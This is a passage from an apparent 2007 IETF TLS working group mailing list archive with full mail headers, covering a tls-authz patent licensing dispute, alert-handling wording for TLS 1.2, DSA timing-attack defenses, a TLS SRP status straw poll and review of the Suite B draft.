U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a MIME-Version: 1.0 To: Dean Anderson Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Dean Anderson wrote: > On Mon, 4 Jun 2007, Mark Brown wrote: >> There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS. I interpreted that statement to mean that others (besides the authors and principal developers of OpenSSL and NSS) have developed tls-authz as their own extensions to those open sources. I did NOT interpret it to mean that the base distributions of OpenSSL and NSS now implement tls-authz. Mr. Brown: Did you intend to state that tls-authz is now available in NSS? > I don't want to seem to speak for either GNUTLS, or OpenSSL, but it > seems to me like they are against this standard, and that all > implemented it without knowing of the patent application; There is no tls-authz in NSS, at least not in the official NSS source repository operated by mozilla.org. I would know if there was. http://www.mozilla.org/owners.html#security > so I wonder if there might be fewer implemenations of tls-authz shortly. /Nelson _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Wed Jun 06 12:08:48 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hvy3g-0008L6-R5; Wed, 06 Jun 2007 12:08:28 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hvy3c-0008Hp-8u for tls@ietf.org; Wed, 06 Jun 2007 12:08:25 -0400 Received: from conn.mc.mpls.visi.com ([208.42.156.2] helo=conn-smtp.mc.mpls.visi.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hvy3c-0000O7-0l for tls@ietf.org; Wed, 06 Jun 2007 12:08:24 -0400 Received: from rpud1 (v-209-98-144-171.mn.visi.com [209.98.144.171]) by conn-smtp.mc.mpls.visi.com (Postfix) with ESMTP id 06C4E8259; Wed, 6 Jun 2007 11:08:23 -0500 (CDT) From: "Mark Brown" To: "'Dean Anderson'" , References: <000c01c7a721$537d7a00$6801a8c0@rps.local> Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07 Date: Wed, 6 Jun 2007 11:09:08 -0500 Message-ID: <002401c7a855$03831fc0$6801a8c0@rps.local> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 Thread-Index: AcenyPNEJPr4fke7S2SiZt4d3Wr3BAAhnKPQ X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 In-Reply-To: X-Spam-Score: 0.0 (/) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Dean, It sounds like you're expecting that the RedPhone Security patent will issue as filed but that it really doesn't contain any innovation -- i.e. that the patent grantors of the world will screw this one up. I'm less cynical on this question, and so on that point I have to disagree with you. I don't see eye to eye with your cynicism about patents and/or their grantors; instead, I'm passionate about authorizations technology. I think federated authorization & identity techniques are fascinating and are likely to be very useful in the future of Internet communications. I love my job. It energizes me because I fully intend to bring useful products to market -- even though that's difficult to do as a small company. I may fail, but I'll try. My country -- at least historically -- thought that patents were a way to encourage this sort of passion because historically it's been the cradle of innovation. That's the spirit behind what I'm doing, and I hope we can find a way to respectfully disagree about the systems supporting patents and the RedPhone Security filing in particular. > > Isn't a satisfactory resolution of "the patent issue" one where all > people > > get to use tls-authz royalty free for any purpose and using any non- > patented > > method? > > Yes, that would be satisfactory. To do that, you have to grant a royalty > free license to the public, and drop the nonsense about an "offer of a > free GUL on request". It's taken me a while to understand your criticism on this point, but I think I get it now. I have prepared a corrected license which will be ready and published shortly (or ASAP at the latest). > ..And drop the restrictions on PAS functions from > the GUL, too. I note that you've seen the Netscape license, and I don't > know why anyone would agree to less. I've modeled after the Certicom ECC license instead of the Netscape license, which admittedly gives away less than Netscape did, but I think ECC has been pretty well received all the same. I feel a need to reserve one method of verifying authorizations as described by the PAS functions. Please don't exaggerate what I'm reserving (the PAS Functions); it really is possible that there are better ways to use tls-authz than the method I'm reserving. > > With the exception of one method that I expect will become patented, > > that's what's offered for tls-authz under the GUL. > > Umm. Actually, No, that isn't what's offered by your cereal-box offer > to give a free GUL on request. You haven't offered any license to the > public, and RPS can't be compelled to complete the GUL in the future by > your "offer". I hope the corrected license will address your concerns. I think I understand your concern that RedPhone Security, or its successors etc., won't grant requests for licenses. --mark _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 08:30:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwH7X-0002Xb-KH; Thu, 07 Jun 2007 08:29:43 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwH7V-0002X4-No for tls@ietf.org; Thu, 07 Jun 2007 08:29:41 -0400 Received: from smtp.nokia.com ([131.228.20.170] helo=mgw-ext11.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwH7U-0006Tm-8w for tls@ietf.org; Thu, 07 Jun 2007 08:29:41 -0400 Received: from esebh106.NOE.Nokia.com (esebh106.ntc.nokia.com [172.21.138.213]) by mgw-ext11.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l57CTVC1028233; Thu, 7 Jun 2007 15:29:38 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh106.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:29:32 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:29:31 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Issue 26: Implementation pitfalls Date: Thu, 7 Jun 2007 15:29:30 +0300 Message-ID: In-Reply-To: <20070603145847.CFA8033C4B@delta.rtfm.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Issue 26: Implementation pitfalls Thread-Index: Acel79Rl3uCLkIOlQ1i4c6c3KT/sxQDD3uaQ References: <20070603145847.CFA8033C4B@delta.rtfm.com> From: To: , X-OriginalArrivalTime: 07 Jun 2007 12:29:31.0761 (UTC) FILETIME=[7FCCE610:01C7A8FF] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla wrote: > Pasi suggested an implementation pitfalls section. I'm=20 > lukewarm on this. >=20 > Proposed resolution: add if someone else writes.=20 I'll promise to write something (maybe 1 page, definitely=20 less than 2 pages). Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 08:33:24 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwHB5-0008Tn-PH; Thu, 07 Jun 2007 08:33:23 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwHB5-0008Ti-7l for tls@ietf.org; Thu, 07 Jun 2007 08:33:23 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwHB3-0007wC-Pw for tls@ietf.org; Thu, 07 Jun 2007 08:33:23 -0400 Received: from esebh106.NOE.Nokia.com (esebh106.ntc.nokia.com [172.21.138.213]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l57CWv75000841; Thu, 7 Jun 2007 15:33:20 +0300 Received: from esebh103.NOE.Nokia.com ([172.21.143.33]) by esebh106.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:33:15 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh103.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:33:14 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Issue 16: Alert clarifications Date: Thu, 7 Jun 2007 15:33:13 +0300 Message-ID: In-Reply-To: <20070603145730.4507B33C4B@delta.rtfm.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Issue 16: Alert clarifications Thread-Index: Acel76hDJOn84sPCR6i+j6JjRlW4uQDEBmiw References: <20070603145730.4507B33C4B@delta.rtfm.com> From: To: , X-OriginalArrivalTime: 07 Jun 2007 12:33:14.0832 (UTC) FILETIME=[04C2D500:01C7A900] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla wrote: > - Add a warning that some implementations tear down the connection > for any alert so warning alerts are dangerous. New implementations > SHOULD not tear down the connection for warning alerts. Why not simply "MUST NOT tear down"? (this requirement would apply=20 only when TLS 1.2 is negotiated, so what some implementations did with 1.0 or 1.1 doesn't matter) Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 08:51:55 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwHT1-0007BL-48; Thu, 07 Jun 2007 08:51:55 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwHSz-00079d-Qi for tls@ietf.org; Thu, 07 Jun 2007 08:51:53 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwHSy-0003Kj-C6 for tls@ietf.org; Thu, 07 Jun 2007 08:51:53 -0400 Received: from esebh105.NOE.Nokia.com (esebh105.ntc.nokia.com [172.21.138.211]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l57CpX5Y005863; Thu, 7 Jun 2007 15:51:50 +0300 Received: from esebh103.NOE.Nokia.com ([172.21.143.33]) by esebh105.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:51:44 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh103.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Jun 2007 15:51:44 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Issue #12: RSA/DSA/DH timing attacks Date: Thu, 7 Jun 2007 15:51:43 +0300 Message-ID: In-Reply-To: <20070603145002.85D3133C4B@delta.rtfm.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Issue #12: RSA/DSA/DH timing attacks Thread-Index: Acel7qeVnGiykYq6Saapdjepnn966wDE4I0Q References: <20070603145002.85D3133C4B@delta.rtfm.com> From: To: , X-OriginalArrivalTime: 07 Jun 2007 12:51:44.0561 (UTC) FILETIME=[9A360A10:01C7A902] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla wrote: >=20 > TLS 1.2 already requires some sort of defense against timing > analysis on RSA. It is known that timing analysis is possible > against DSA but I know of no published defense against it > other than fixed-length computations. (As opposed to the > blinding defense for RSA). >=20 > In San Diego, I asked Tim of NIST knew of one but haven't > heard back. >=20 > I'd like to put this to bed. I suggest that unless someone comes > up with a defense suggestion by Chicago we simply say that this > is an issue with DSA implementations and suggest fixed-length > computations as a possible defense. Comments? Well, if there's no publicly-known defense (like there is for RSA),=20 then I don't see what else we can do (other than require some countermeasure, and suggest fixed-length computations)... Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 09:30:21 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwI4B-0002iR-H4; Thu, 07 Jun 2007 09:30:19 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwI4A-0002iM-87 for tls@ietf.org; Thu, 07 Jun 2007 09:30:18 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwI49-0002zq-0C for tls@ietf.org; Thu, 07 Jun 2007 09:30:18 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 4459D33C58; Thu, 7 Jun 2007 06:29:18 -0700 (PDT) Date: Thu, 07 Jun 2007 06:29:18 -0700 From: Eric Rescorla To: Subject: Re: [TLS] Issue 16: Alert clarifications In-Reply-To: References: <20070603145730.4507B33C4B@delta.rtfm.com> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070607132918.4459D33C58@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Thu, 7 Jun 2007 15:33:13 +0300, wrote: > > Eric Rescorla wrote: > > > - Add a warning that some implementations tear down the connection > > for any alert so warning alerts are dangerous. New implementations > > SHOULD not tear down the connection for warning alerts. > > Why not simply "MUST NOT tear down"? (this requirement would apply > only when TLS 1.2 is negotiated, so what some implementations did > with 1.0 or 1.1 doesn't matter) Works for me. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 09:30:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwI4d-0002oc-4h; Thu, 07 Jun 2007 09:30:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwI4c-0002oJ-5I for tls@ietf.org; Thu, 07 Jun 2007 09:30:46 -0400 Received: from [74.95.2.169] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwI4a-00033S-TS for tls@ietf.org; Thu, 07 Jun 2007 09:30:46 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 2FB9C33C59; Thu, 7 Jun 2007 06:29:46 -0700 (PDT) Date: Thu, 07 Jun 2007 06:29:46 -0700 From: Eric Rescorla To: Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: References: User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070607132946.2FB9C33C59@delta.rtfm.com> X-Spam-Score: 0.1 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Thu, 24 May 2007 13:33:32 +0300, wrote: > > Folks, > > The one remaining issue with TLS SRP is its intended status (Proposed > Standard, Informational, or Experimental). I and Eric think we need > more data to determine consensus here, so this message starts a > two-week straw poll on this issue. (Our apologies that this has > taken so long; this poll should have been some time ago already.) > > The question is: Do you support advancing draft-ietf-tls-srp as > Proposed Standard? > > [ ] Yes. > [ ] I think Informational/Experimental is better. Informational/Experimental. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 07 23:35:33 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwVG5-0002rl-Em; Thu, 07 Jun 2007 23:35:29 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwVG3-0002rd-EE for tls@ietf.org; Thu, 07 Jun 2007 23:35:27 -0400 Received: from smtpout1487.sc1.he.tucows.com ([64.97.157.187] helo=n007.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwVG2-00022K-6I for tls@ietf.org; Thu, 07 Jun 2007 23:35:27 -0400 Received: from [192.18.120.70] (192.18.120.70) by n007.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 465670BB00286B80; Fri, 8 Jun 2007 03:33:14 +0000 Message-ID: <4668CDF7.9030600@bolyard.com> Date: Thu, 07 Jun 2007 20:33:11 -0700 From: Nelson B Bolyard User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a MIME-Version: 1.0 To: Eric Rescorla Subject: Re: [TLS] Issue 16: Alert clarifications References: <20070603145730.4507B33C4B@delta.rtfm.com> <20070607132918.4459D33C58@delta.rtfm.com> In-Reply-To: <20070607132918.4459D33C58@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla wrote: > At Thu, 7 Jun 2007 15:33:13 +0300, > wrote: >> Eric Rescorla wrote: >> >>> - Add a warning that some implementations tear down the connection >>> for any alert so warning alerts are dangerous. New implementations >>> SHOULD not tear down the connection for warning alerts. >> Why not simply "MUST NOT tear down"? (this requirement would apply >> only when TLS 1.2 is negotiated, so what some implementations did >> with 1.0 or 1.1 doesn't matter) > > Works for me. Umm. Some warning alerts exist to give the recipient a choice to tear down or not. E.g. no_renegotiation. RFC 2246 says: no_renegotiation Sent by the client in response to a hello request or by the server in response to a client hello after initial handshaking. Either of these would normally lead to renegotiation; when that is not appropriate, the recipient should respond with this alert; at that point, the original requester can decide whether to proceed with the connection. One case where this would be appropriate would be where a server has spawned a process to satisfy a request; the process might receive security parameters (key length, authentication, etc.) at startup and it might be difficult to communicate changes to these parameters after that point. This message is always a warning. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 00:41:28 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwWHv-0002Id-2K; Fri, 08 Jun 2007 00:41:27 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwWHu-0002IW-Dm for tls@ietf.org; Fri, 08 Jun 2007 00:41:26 -0400 Received: from smtpout1443.sc1.he.tucows.com ([64.97.157.143] helo=n007.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwWHt-0006YX-1E for tls@ietf.org; Fri, 08 Jun 2007 00:41:26 -0400 Received: from [192.18.120.70] (192.18.120.70) by n007.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 465670BB00288208; Fri, 8 Jun 2007 04:41:21 +0000 Message-ID: <4668DDEC.7070509@bolyard.com> Date: Thu, 07 Jun 2007 21:41:16 -0700 From: Nelson B Bolyard User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a MIME-Version: 1.0 To: EKR Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: tls@ietf.org Subject: [TLS] Review feedback on draft-rescorla-tls-suiteb-01.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric, In draft-rescorla-tls-suiteb-01.txt we read: 4. Suite B Compliance Requirements To be considered "Suite B compatible" at least one of the Galois Counter Mode (GCM) CipherSuites defined in [I-D.ietf-tls-ecc-new-mac] MUST be negotiated. I suggest that "at least" be removed. AFAIK, exactly one CipherSuite must be negotiated in any successful handshake. /Nelson _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 00:53:37 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwWTZ-0007Zq-Ad; Fri, 08 Jun 2007 00:53:29 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwWTY-0007Zf-21 for tls@ietf.org; Fri, 08 Jun 2007 00:53:28 -0400 Received: from fh1021.dia.he.tucows.com ([64.97.168.31] helo=n034.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwWTW-0004tD-Qm for tls@ietf.org; Fri, 08 Jun 2007 00:53:28 -0400 Received: from [192.18.120.70] (192.18.120.70) by n034.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 4667056900049583; Fri, 8 Jun 2007 04:53:16 +0000 Message-ID: <4668E0B9.1070305@bolyard.com> Date: Thu, 07 Jun 2007 21:53:13 -0700 From: Nelson B Bolyard User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a MIME-Version: 1.0 To: EKR Subject: Re: [TLS] Review feedback on draft-rescorla-tls-suiteb-01.txt References: <4668DDEC.7070509@bolyard.com> In-Reply-To: <4668DDEC.7070509@bolyard.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org I wrote: > Eric, In draft-rescorla-tls-suiteb-01.txt we read: > > 4. Suite B Compliance Requirements > > To be considered "Suite B compatible" at least one of the Galois > Counter Mode (GCM) CipherSuites defined in [I-D.ietf-tls-ecc-new-mac] > MUST be negotiated. > > I suggest that "at least" be removed. AFAIK, exactly one CipherSuite > must be negotiated in any successful handshake. I accidentally sent that before I was finished. I meant to add this: Or, did you mean that the client must offer to negotiate at least one GCM ciphersuite in the list of ciphersuites offered in the client hello? _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 04:35:40 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwZwR-0001ij-BY; Fri, 08 Jun 2007 04:35:31 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwZwP-0001iO-65 for tls@ietf.org; Fri, 08 Jun 2007 04:35:29 -0400 Received: from moutng.kundenserver.de ([212.227.126.186]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HwZwO-0001Nz-LP for tls@ietf.org; Fri, 08 Jun 2007 04:35:29 -0400 Received: from [134.147.40.246] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu1) with ESMTP (Nemesis), id 0MKwpI-1HwZwA2cKr-0004Cd; Fri, 08 Jun 2007 10:35:15 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 3F0BC1A45F; Fri, 8 Jun 2007 10:35:14 +0200 (CEST) Date: Fri, 8 Jun 2007 10:35:14 +0200 From: Bodo Moeller To: Nelson B Bolyard Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070608083514.GA11066@tau.invalid> References: <20070603145730.4507B33C4B@delta.rtfm.com> <20070607132918.4459D33C58@delta.rtfm.com> <4668CDF7.9030600@bolyard.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4668CDF7.9030600@bolyard.com> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1+3L+HlywXf0W2cA3sTlarC0G2uln2uyRIw19Z T/36fVOb7Eq095vWx1TIMIwJG9/yw81H/qYHVUfZobqHropP7Y XNxn2Y4cbkujHUbFbWJZg== X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Thu, Jun 07, 2007 at 08:33:11PM -0700, Nelson B Bolyard wrote: > Eric Rescorla wrote: >> wrote: >>> Eric Rescorla wrote: >>>> - Add a warning that some implementations tear down the connection >>>> for any alert so warning alerts are dangerous. New implementations >>>> SHOULD not tear down the connection for warning alerts. >>> Why not simply "MUST NOT tear down"? (this requirement would apply >>> only when TLS 1.2 is negotiated, so what some implementations did >>> with 1.0 or 1.1 doesn't matter) >> Works for me. > Umm. Some warning alerts exist to give the recipient a choice to tear > down or not. E.g. no_renegotiation. RFC 2246 says: > > no_renegotiation > Sent by the client in response to a hello request or by the > server in response to a client hello after initial handshaking. > Either of these would normally lead to renegotiation; when that > is not appropriate, the recipient should respond with this alert; > at that point, the original requester can decide whether to > proceed with the connection. One case where this would be > appropriate would be where a server has spawned a process to > satisfy a request; the process might receive security parameters > (key length, authentication, etc.) at startup and it might be > difficult to communicate changes to these parameters after that > point. This message is always a warning. Good point. This means that neither "SHOULD NOT" nor "MUST NOT" works for everything. However, I think a party should not silently tear down the connection after receiving a no_renegotiation alert that it does not like -- instead, it should send a fatal alert first. How about the following? If an alert with a level of warning is sent and received, generally the connection can continue normally. If the receiving party decides not to proceed with the connection (e.g., after having received a no_renegotiation alert that it is not willing to accept), it MUST send a fatal alert to terminate the connection. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 08 07:16:09 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwcRj-00026S-30; Fri, 08 Jun 2007 07:15:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HwcRh-00026M-9i for tls@ietf.org; 